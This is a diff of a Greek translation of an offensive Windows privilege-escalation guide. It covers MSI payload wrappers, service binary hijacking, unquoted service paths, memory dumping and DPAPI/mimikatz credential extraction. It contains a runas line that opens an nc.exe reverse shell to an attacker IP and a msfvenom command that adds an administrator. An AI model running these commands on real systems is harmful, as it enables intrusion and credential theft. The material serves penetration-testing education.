Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**. Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν **απλώς** θέλετε να **εκτελέσετε** **γραμμές εντολών**.
{{#ref}} {{#ref}}
msi-wrapper.md msi-wrapper.md
@ -240,7 +240,7 @@ create-msi-with-wix.md
- Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**. - Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**.
- Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελείται μόλις εκτελείται ο εγκαταστάτης. - Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελείται μόλις εκτελείται ο εγκαταστάτης.
- Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**. - Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**.
- Τέλος, **κατασκευάστε το**. - Τέλος, **δημιουργήστε το**.
- Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64. - Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64.
### Εγκατάσταση MSI ### Εγκατάσταση MSI
@ -249,13 +249,13 @@ create-msi-with-wix.md
``` ```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
``` ```
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ Για να εκμεταλλευτείτε αυτήν την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_
## Antivirus και Ανιχνευτές ## Antivirus και Ανιχνευτές
### Ρυθμίσεις Ελέγχου ### Ρυθμίσεις Ελέγχου
Αυτές οι ρυθμίσεις αποφασίζουν τι **καταγράφεται**, οπότε θα πρέπει να δώσετε προσοχή. Αυτές οι ρυθμίσεις αποφασίζουν τι καταγράφεται, οπότε θα πρέπει να δώσετε προσοχή
``` ```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
``` ```
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
``` ```
### LAPS ### LAPS
**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι. **LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή εάν είναι εξουσιοδοτημένοι.
{{#ref}} {{#ref}}
../active-directory-methodology/laps.md ../active-directory-methodology/laps.md
@ -283,13 +283,13 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
### LSA Protection ### LSA Protection
Αρχής γενομένης από το **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να **μπλοκάρει** τις απόπειρες από μη αξιόπιστες διαδικασίες να **διαβάσουν τη μνήμη της** ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ Αρχής γενομένης από το **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να **μπλοκάρει** τις απόπειρες από μη αξιόπιστες διαδικασίες να **διαβάσουν τη μνήμη της** ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\
[**Περισσότερες πληροφορίες σχετικά με την προστασία LSA εδώ**](../stealing-credentials/credentials-protections.md#lsa-protection). [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash ```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
``` ```
### Credentials Guard ### Credentials Guard
**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**Περισσότερες πληροφορίες σχετικά με το Credentials Guard εδώ.**](../stealing-credentials/credentials-protections.md#credential-guard) **Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**Περισσότερες πληροφορίες σχετικά με το Credentials Guard εδώ.**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash ```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
``` ```
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Καταμέτρηση Χρηστών & Ομάδων ### Καταμέτρηση Χρηστών & Ομάδων
Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
```bash ```bash
# CMD # CMD
net users %username% #Me net users %username% #Me
@ -321,7 +321,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
``` ```
### Προνομιούχες ομάδες ### Προνομιούχες ομάδες
Αν **ανήκεις σε κάποια προνομιούχα ομάδα, μπορεί να είσαι σε θέση να εκμεταλλευτείς τα προνόμια**. Μάθε για τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείς για να εκμεταλλευτείς τα προνόμια εδώ: Αν **ανήκεις σε κάποια προνομιούχα ομάδα, μπορεί να είσαι σε θέση να αναβαθμίσεις τα προνόμιά σου**. Μάθε για τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείς για να αναβαθμίσεις τα προνόμιά σου εδώ:
{{#ref}} {{#ref}}
../active-directory-methodology/privileged-groups-and-token-privileges.md ../active-directory-methodology/privileged-groups-and-token-privileges.md
@ -391,7 +391,7 @@ todos %username%" && echo.
``` ```
### Εξόρυξη Κωδικών από Μνήμη ### Εξόρυξη Κωδικών από Μνήμη
Μπορείτε να δημιουργήσετε μια απόθεση μνήμης μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να αποθέσετε τη μνήμη και να διαβάσετε τα credentials. Μπορείτε να δημιουργήσετε ένα dump μνήμης μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να κάνετε dump τη μνήμη και να διαβάσετε τα credentials.
```bash ```bash
procdump.exe -accepteula -ma <proc_name_tasklist> procdump.exe -accepteula -ma <proc_name_tasklist>
``` ```
@ -431,7 +431,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
### Ενεργοποίηση υπηρεσίας ### Ενεργοποίηση υπηρεσίας
Αν έχετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV): Εάν έχετε αυτό το σφάλμα (για παράδειγμα με το SSDPSRV):
_Σφάλμα συστήματος 1058 έχει συμβεί._\ _Σφάλμα συστήματος 1058 έχει συμβεί._\
&#xNAN;_&#x54;η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._ &#xNAN;_&#x54;η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._
@ -462,13 +462,13 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
wmic service NAMEOFSERVICE call startservice wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name] net stop [service name] && net start [service name]
``` ```
Τα δικαιώματα μπορούν να αναβαθμιστούν μέσω διαφόρων αδειών: Τα δικαιώματα μπορούν να κλιμακωθούν μέσω διαφόρων αδειών:
- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του δυαδικού αρχείου της υπηρεσίας. - **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του δυαδικού αρχείου της υπηρεσίας.
- **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. - **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών. - **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών.
- **GENERIC_WRITE**: Κληρονομεί την ικανότητα να αλλάξει τις ρυθμίσεις της υπηρεσίας. - **GENERIC_WRITE**: Κληρονομεί την ικανότητα να αλλάξει τις ρυθμίσεις της υπηρεσίας.
- **GENERIC_ALL**: Επίσης κληρονομεί την ικανότητα να αλλάξει τις ρυθμίσεις της υπηρεσίας. - **GENERIC_ALL**: Κληρονομεί επίσης την ικανότητα να αλλάξει τις ρυθμίσεις της υπηρεσίας.
Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_.
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### Μη αναφερόμενοι Δρόμοι Υπηρεσιών ### Μη αναφερόμενοι Δρόμοι Υπηρεσιών
Αν ο δρόμος προς ένα εκτελέσιμο αρχείο δεν είναι μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τερματισμό πριν από ένα κενό. Αν ο δρόμος προς ένα εκτελέσιμο αρχείο δεν είναι μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα πριν από ένα κενό.
Για παράδειγμα, για τον δρόμο _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν: Για παράδειγμα, για τον δρόμο _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν:
```powershell ```powershell
@ -523,7 +523,7 @@ C:\Program.exe
C:\Program Files\Some.exe C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe C:\Program Files\Some Folder\Service.exe
``` ```
Καταγράψτε όλα τα μη αναφερόμενα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: Λίστα όλων των μη αναφερόμενων διαδρομών υπηρεσιών, εξαιρουμένων αυτών που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:
```powershell ```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
@ -549,7 +549,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
``` ```
### Ενέργειες Ανάκτησης ### Ενέργειες Ανάκτησης
Τα Windows επιτρέπουν στους χρήστες να καθορίζουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορείτε να βρείτε στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>). Τα Windows επιτρέπουν στους χρήστες να καθορίζουν ενέργειες που θα ληφθούν αν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Αν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορείτε να βρείτε στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
## Εφαρμογές ## Εφαρμογές
@ -646,7 +646,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
``` ```
### Ανοιχτές Θύρες ### Ανοιχτές Θύρες
Ελέγξτε για **περιορισμένες υπηρεσίες** από έξω Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό
```bash ```bash
netstat -ano #Opened ports? netstat -ano #Opened ports?
``` ```
@ -701,11 +701,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Διαχειριστής διαπιστευτηρίων / Windows vault ### Διαχειριστής διαπιστευτηρίων / Windows vault
Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Το Windows Vault αποθηκεύει διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί **να συνδέει αυτόματα τους χρήστες**. Στην αρχή, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι. Το Windows Vault αποθηκεύει διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει αυτόματα τους χρήστες**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε έναν πόρο** (διακομιστή ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Διαχειριστή Διαπιστευτηρίων** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς. Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει αυτόματα τους χρήστες, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Διαχειριστή Διαπιστευτηρίων** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Διαχειριστή Διαπιστευτηρίων, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για έναν συγκεκριμένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον διαχειριστή διαπιστευτηρίων και να ζητήσει τα διαπιστευτήρια για αυτόν τον πόρο** από το προεπιλεγμένο αποθηκευτικό vault. Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Διαχειριστή Διαπιστευτηρίων, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον διαχειριστή διαπιστευτηρίων και να ζητήσει τα διαπιστευτήρια για αυτήν την πηγή** από το προεπιλεγμένο αποθηκευτικό vault.
Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή. Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή.
```bash ```bash
@ -723,7 +723,7 @@ runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```bash ```bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe" C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
``` ```
Σημειώστε ότι το mimikatz, το lazagne, το [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), το [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html) ή από το [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). Σημειώστε ότι το mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ή από το [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1).
### DPAPI ### DPAPI
@ -746,17 +746,17 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
``` ```
Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να αποκρυπτογραφήσετε.\ Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να αποκρυπτογραφήσετε.\
Μπορείτε να **εξάγετε πολλές DPAPI** **masterkeys** από τη **μνήμη** με το `sekurlsa::dpapi` module (αν είστε root). Μπορείτε να **εξάγετε πολλές DPAPI** **masterkeys** από τη **μνήμη** με το module `sekurlsa::dpapi` (αν είστε root).
{{#ref}} {{#ref}}
dpapi-extracting-passwords.md dpapi-extracting-passwords.md
{{#endref}} {{#endref}}
### PowerShell Credentials ### Διαπιστευτήρια PowerShell
Οι **credentials του PowerShell** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων credentials με ευκολία. Οι credentials προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν. Τα **διαπιστευτήρια PowerShell** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν.
Για να **αποκρυπτογραφήσετε** μια PS credentials από το αρχείο που την περιέχει, μπορείτε να κάνετε: Για να **αποκρυπτογραφήσετε** ένα PS διαπιστευτήριο από το αρχείο που το περιέχει, μπορείτε να κάνετε:
```powershell ```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username PS C:\> $credential.GetNetworkCredential().username
@ -795,7 +795,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
### Sticky Notes ### Sticky Notes
Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε Windows workstation για να **αποθηκεύσουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι είναι ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε. Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε υπολογιστές Windows για να **αποθηκεύσουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι είναι ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε.
### AppCmd.exe ### AppCmd.exe
@ -914,7 +914,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
``` ```
> [!NOTE] > [!NOTE]
> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού. > Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
### Unattended files ### Unattended files
``` ```
@ -978,7 +978,7 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword ### Cached GPP Pasword
Μια δυνατότητα ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα. Μια δυνατότητα που ήταν προηγουμένως διαθέσιμη επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα.
Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά κρυπτογραφημένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας.
@ -1064,7 +1064,7 @@ $cred.GetNetworkCredential() | fl
``` ```
### **Πιθανά ονόματα αρχείων που περιέχουν διαπιστευτήρια** ### **Πιθανά ονόματα αρχείων που περιέχουν διαπιστευτήρια**
Γνωστά αρχεία που κάποτε περιείχαν **κωδικούς πρόσβασης** σε **καθαρό κείμενο** ή **Base64** Γνωστά αρχεία που κάποια στιγμή περιείχαν **κωδικούς πρόσβασης** σε **καθαρό κείμενο** ή **Base64**
```bash ```bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc* vnc.ini, ultravnc.ini, *vnc*
@ -1139,9 +1139,9 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
``` ```
### Διαπιστευτήρια στον Κάδο Ανακύκλωσης ### Διαπιστευτήρια στον Κάδο Ανακύκλωσης
